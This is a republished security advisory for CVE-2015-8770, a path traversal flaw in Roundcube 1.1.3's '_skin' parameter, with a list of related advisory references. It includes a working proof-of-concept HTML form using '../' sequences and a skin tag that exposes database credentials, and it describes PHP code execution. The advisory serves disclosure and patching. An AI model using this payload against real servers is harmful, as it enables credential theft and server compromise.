| Reporter | Title | Published | Views | Family All 38 |
|---|---|---|---|---|
| roundcubemail: remote code execution | 17 Jan 201600:00 | – | archlinux | |
| Roundcube Remote Code Execution Vulnerability | 13 Jan 201600:00 | – | cnvd | |
| CVE-2015-8770 | 29 Jan 201619:00 | – | cve | |
| CVE-2015-8770 | 29 Jan 201619:00 | – | cvelist | |
| [SECURITY] [DLA 392-1] roundcube security update | 17 Jan 201618:27 | – | debian | |
| [SECURITY] [DSA 3541-1] roundcube security update | 5 Apr 201608:57 | – | debian | |
| [SECURITY] [DSA 3541-1] roundcube security update | 5 Apr 201608:57 | – | debian | |
| CVE-2015-8770 | 29 Jan 201619:00 | – | debiancve | |
| Debian DLA-392-1 : roundcube security update | 19 Jan 201600:00 | – | nessus | |
| Debian DSA-3541-1 : roundcube - security update | 7 Apr 201600:00 | – | nessus |
Product: Roundcube
Vendor: Roundcube.net
Vulnerable Version(s): 1.1.3 and probably prior
Tested Version: 1.1.3
Advisory Publication: December 21, 2015 [without technical details]
Vendor Notification: December 21, 2015
Vendor Patch: December 26, 2015
Public Disclosure: January 13, 2016
Vulnerability Type: Path Traversal [CWE-22]
CVE Reference: CVE-2015-8770
Risk Level: Medium
CVSSv3 Base Score: 5.3 [CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered a path traversal vulnerability in a popular webmail client Roundcube.
Vulnerability can be exploited to gain access to sensitive information and under certain circumstances to execute arbitrary code and totally compromise the
vulnerable server.
The vulnerability exists due to insufficient sanitization of "_skin" HTTP POST parameter in "/index.php" script when changing between different skins
of the web application. A remote authenticated attacker can use path traversal sequences (e.g. "../../") to load a new skin from arbitrary location on the system,
readable by the webserver.
A simple exploit below will send HTTP POST request to vulnerable script and will load a new skin from "/tmp" folder:
<form action="http://[HOST]/" method="post" name="main">
<input type="hidden" name="_token" value="[TOKEN]">
<input type="hidden" name="_framed" value="1">
<input type="hidden" name="_task" value="settings">
<input type="hidden" name="_action" value="save-prefs">
<input type="hidden" name="_section" value="general">
<input type="hidden" name="_language" value="en_US">
<input type="hidden" name="_timezone" value="auto">
<input type="hidden" name="_time_format" value="H:A">
<input type="hidden" name="_date_format" value="Y-m-d">
<input type="hidden" name="_pretty_date" value="1">
<input type="hidden" name="_refresh_interval" value="1">
<input type="hidden" name="_skin" value="../../../../../../../../tmp">
<input value="submit" id="btn" type="submit" />
</form>
Exploitation of the vulnerability requires valid user credentials and ability to create files on vulnerable host.
Using specially crafted skin for Roundcube, a remote attacker can gain access to potentially sensitive information. The following code in skin files will
display database access credentials:
<roundcube:var name="config:db_dsnw" />
In case, when "skin_include_php" parameter is set to true, the attacker will be able to execute arbitrary PHP code from the skin files:
$config['skin_include_php'] = true;
This vulnerability is difficult to exploit since it requires ability to create files on the web server and a valid Roundcube account.
But this situation is very common for shared hosting servers, that host clients' websites on the same server as Roundcube.
-----------------------------------------------------------------------------------------------
Solution:
Update to Roundcube 1.1.4
https://roundcube.net/news/2015/12/26/updates-1.1.4-and-1.0.8-released/
# 0day.today [2018-02-15] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation